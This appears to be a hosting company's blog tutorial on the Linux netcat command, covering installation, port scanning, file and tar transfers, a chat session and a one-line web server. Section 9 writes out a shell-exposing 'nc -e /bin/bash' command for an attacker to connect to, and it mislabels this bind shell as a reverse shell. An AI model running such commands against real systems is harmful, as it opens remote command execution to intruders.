Get 50% Discount Offer 26 Days

Recommended Services
Supported Scripts
WordPress
Hubspot
Joomla
Drupal
Wix
Shopify
Magento
Typeo3
How to use Netcat (nc) Command in Linux with Examples

1. What is Netcat (nc) in Linux?

Netcat, commonly referred to as nc, is a powerful command-line tool in Linux used for handling many network-related tasks. Netcat provides functionalities like port scanning, data transfer, network troubleshooting, and even setting up basic chat systems. Given its versatility and simplicity, It is important for professionals in networking, cybersecurity, and system administration.

What is Netcat Used For?

Netcat supports both TCP and UDP protocols, allowing it to interact with a range of network applications. Here are some of its common uses:

  • Port Scanning: Identify which open ports target a machine.
  • File Transfers: Quickly send files between systems.
  • Network Troubleshooting: Continue checking out the connectivity between those systems or test if the given services can be reached.
  • Simple Chat Server: Set up a basic communication channel for two-way messaging.

Its broad functionality makes it a preferred choice in testing environments. It is an incredibly useful network management tool for valid configuration but also serves well in penetration testing and ethical hacking.

2. Installing Netcat on Linux

We need to make sure that Netcat is installed first on your Linux distribution before diving into the capabilities of Netcat. Netcat is bundled with many modern Linux distributions, but if it does not exist, you should be able to install it manually.

Installing Netcat on Common Linux Distributions

To install Netcat, open your terminal and use the appropriate command for your distribution:

  • Ubuntu/Debian:
sudo apt install netcat
Installing Netcat on Ubuntu using the sudo apt install command
  • CentOS/RHEL:
sudo yum install nc
  • Fedora:
sudo dnf install nc

Verify the installation by running the following:

nc -h
Netcat command displaying help options and usage details in Ubuntu terminal

This command will show a list of available options, confirming that it’s ready to use.

3. Basic Syntax of the Netcat Command

Netcat’s syntax is the key to using it. The basic structure of the Netcat command is:

nc [options] [hostname/IP] [port]

This syntax allows you to specify many options to suit different networking tasks. Here’s a breakdown of some important options:

Common Netcat Options

  • -l: Listen mode, used to set up a server that listens for incoming connections.
  • -p: Specifies the port on which to listen or connect.
  • -v: Verbose mode, which outputs detailed information about the connection process.
  • -z: Zero I/O mode, typically used in scanning to check if ports are open without sending data.
  • -u: Use UDP instead of TCP. By default, Netcat works with TCP.

Basic Example Commands

Here are a few examples demonstrating Netcat’s basic syntax:

Establish a Simple Connection:

nc -v example.com 80
  • This command initiates a connection to example.com on port 80 with verbose output.
Netcat command establishing a simple connection to a remote server on port 80

Listen on a Specific Port:

nc -l -p 1234
  • This command starts a server on port 1234 that will wait for incoming connections.
Netcat command listening on port 2222 for incoming connections

4. Using Netcat for Port Scanning

One of Netcat’s most common uses is port scanning, which involves checking a target machine for open ports. Knowing which ports are open on a system helps identify active services and potential vulnerabilities.

Why Use Netcat for Port Scanning?

Port scanning is crucial for network diagnostics, security assessments, and verifying service configurations. While tools like Nmap offer advanced scanning options, Netcat provides a quick and simple way to check open ports.

Basic Port Scanning Command

Here’s a simple forward command to scan a single port:

nc -zv [hostname/IP] [port]

Example:

nc -zv example.com 22
  • This command checks if port 22 (commonly used for SSH) is open on example.com. The -z option makes sure no data is sent, while -v provides a verbose output with connection details.
Netcat command checking if port 22 is open with verbose output enabled

Scanning a Range of Ports

To scan a range of ports, specify the starting and ending port numbers. It is useful for identifying open services across multiple ports.

nc -zv [hostname/IP] [start-port]-[end-port]

Example:

nc -zv example.com 20-80
  • This command scans ports 20 through 80 on example.com to identify any open ports within this range.
Netcat command scanning ports 20 to 80 for open connections

Ethical Considerations for Port Scanning

The one thing that you should never, ever do is come on someone else’s network and scan without having permission. Unauthorized port scanning is an intrusion or illegal if it can reveal sensitive service information or reveal underlying vulnerabilities.

5. Using Netcat for File Transfers

Netcat’s simplicity allows it to serve as a fast and effective file transfer tool when more complex setups (like FTP servers) are unnecessary.

Basic File Transfer with Netcat

One system must act as the sender to transfer files, while the other acts as the receiver.

On the Receiver (listening) side, use:

nc -l [port] > [destination-file]
  1. On the Sender side, use:
nc [receiver-IP] [port] < [source-file]

Example: To transfer a file named example.txt from the sender to the receiver on port 1234:

  1. Receiver Command:
nc -l 1234 > received_example.txt
  1. Sender Command:
nc [receiver-IP] 1234 < example.txt

Bidirectional File Transfers with Tar

For directories or multiple files, use tar with Netcat to package files on the sender’s side and unpack them on the receiver’s side:

On the Receiver side:

nc -l [port] | tar -xvf -
  1. On the Sender side:
tar -cvf - [directory-to-transfer] | nc [receiver-IP] [port]

6. Netcat is a Simple Chat Application

Netcat’s ability to open and maintain network connections makes it ideal for setting up a basic chat server.

Setting Up a Chat Server with Netcat

One system must act as the server (listener) to establish a chat session, while the other system connects as a client.

On the Server (listener) side, use:

nc -l [port]
Netcat command attempting to set up a chat server on port 22 with error message
  1. On the Client side, use:
nc [server-IP] [port]
Netcat command on the client side sending messages to the server on a specific port

So, users are now able to type messages in their terminal, and they’ll be visible to each other. To Exit the chat, hit Ctrl + C.

7. Netcat as a Network Troubleshooting Tool

Netcat is widely used for diagnosing network issues. It can test if specific services are accessible, check open ports, and measure latency.

Testing Open Ports

To determine if a particular remote host is running a specific port.

nc -zv [hostname/IP] [port]
Netcat command testing open ports on a remote host with connection success and failure examples

8. Creating a Simple Web Server with Netcat

Netcat can serve a static HTML file to clients, which is helpful for quick testing or educational purposes.

  1. Create a sample HTML file (for example, index.html).

Serve the HTML file with Netcat:

echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l [port]
Netcat command attempting to serve a sample HTML file over port 80 with an error message

9. Advanced Netcat Commands and Options

Advanced users can establish reverse shells, use UDP mode, and automate processes through scripting.

Reverse Shell with Netcat

On the Listener (target) machine:

nc -l -p [port] -e /bin/bash
Netcat command creating a reverse shell listener on port 666

On the Client (attacker) machine:

nc [target-IP] [port]
Netcat command establishing a reverse shell connection to the target machine on port 666.

10. Netcat Alternatives and Complementary Tools

Although Netcat is versatile, other tools may offer more specialized or advanced functionalities:

  • Nmap for network discovery
  • Socat for advanced data transfer options
  • SSH for encrypted, remote command-line access

11. Security Considerations When Using Netcat

Use Netcat responsibly, avoid transferring sensitive data, and always operate within authorized networks.

12. Troubleshooting Common Issues with Netcat

  • Permission Denied Errors: If permission error occurs, use sudo.
  • Port Already in Use: Use lsof to check the port.
  • Connection Refused or Timed Out: Check network connectivity.

13. Conclusion

Netcat (nc) is a powerful and versatile networking tool that’s ideal for Linux users needing to analyze, troubleshoot, and manage network tasks.

About the writer

Vinayak Baranwal Article Author

This article was written by Vinayak Baranwal, For more insightful content or collaboration opportunities, feel free to connect with Vinayak on LinkedIn through the provided link.

Leave a Reply

Your email address will not be published. Required fields are marked *

Lifetime Solutions:

VPS SSD

Lifetime Hosting

Lifetime Dedicated Servers